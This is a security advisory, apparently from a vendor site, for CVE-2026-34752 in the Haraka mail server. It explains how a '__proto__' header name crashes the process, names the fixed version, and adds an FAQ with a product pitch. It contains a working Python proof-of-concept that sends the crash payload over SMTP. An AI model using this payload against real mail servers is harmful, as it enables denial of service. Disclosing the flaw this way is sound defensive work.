CVE-2026-34752

Sending an email with __proto__: as a header name crashes the Haraka worker process.

Details

The header parser at node_modules/haraka-email-message/lib/header.js:215-218 stores headers in a plain {} object:

_add_header(key, value, method) {
    this.headers[key] ??= []          // line 216
    this.headers[key][method](value)  // line 217
}

When key is __proto__:

1. this.headers['__proto__'] returns Object.prototype (the prototype getter)
2. Object.prototype is not null/undefined, so ??= is skipped
3. Object.prototype.push(value) throws TypeError: not a function

The TypeError reaches the global uncaughtException handler at haraka.js:26-33, which calls process.exit(1):

process.on('uncaughtException', (err) => {
    if (err.stack) {
        err.stack.split('\n').forEach((line) => logger.crit(line))
    } else {
        logger.crit(`Caught exception: ${JSON.stringify(err)}`)
    }
    logger.dump_and_exit(1)
})

PoC

import socket, time

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(5)
sock.connect(("127.0.0.1", 2525))
sock.recv(4096)
sock.sendall(b"EHLO evil\r\n"); sock.recv(4096)
sock.sendall(b"MAIL FROM:<[email protected]>\r\n"); sock.recv(4096)
sock.sendall(b"RCPT TO:<[email protected]>\r\n"); sock.recv(4096)
sock.sendall(b"DATA\r\n"); sock.recv(4096)
# Crash payload
sock.sendall(b"From: [email protected]\r\n__proto__: crash\r\n\r\nbody\r\n.\r\n")

In single-process mode (nodes=0), the entire server goes down. In cluster mode, the master restarts the worker, but all sessions are lost.

CVE-2026-34752 has a CVSS score of 7.5 (High). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (3.1.4); upgrading removes the vulnerable code path.

Kodem intelligence

1. What is CVE-2026-34752? CVE-2026-34752 is a high-severity security vulnerability in Haraka (npm), affecting versions <= 3.1.3. It is fixed in 3.1.4.
2. How severe is CVE-2026-34752? CVE-2026-34752 has a CVSS score of 7.5 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of Haraka are affected by CVE-2026-34752? Haraka (npm) versions <= 3.1.3 is affected.
4. Is there a fix for CVE-2026-34752? Yes. CVE-2026-34752 is fixed in 3.1.4. Upgrade to this version or later.
5. Is CVE-2026-34752 exploitable, and should I be worried? Whether CVE-2026-34752 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2026-34752 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2026-34752? Upgrade Haraka to 3.1.4 or later.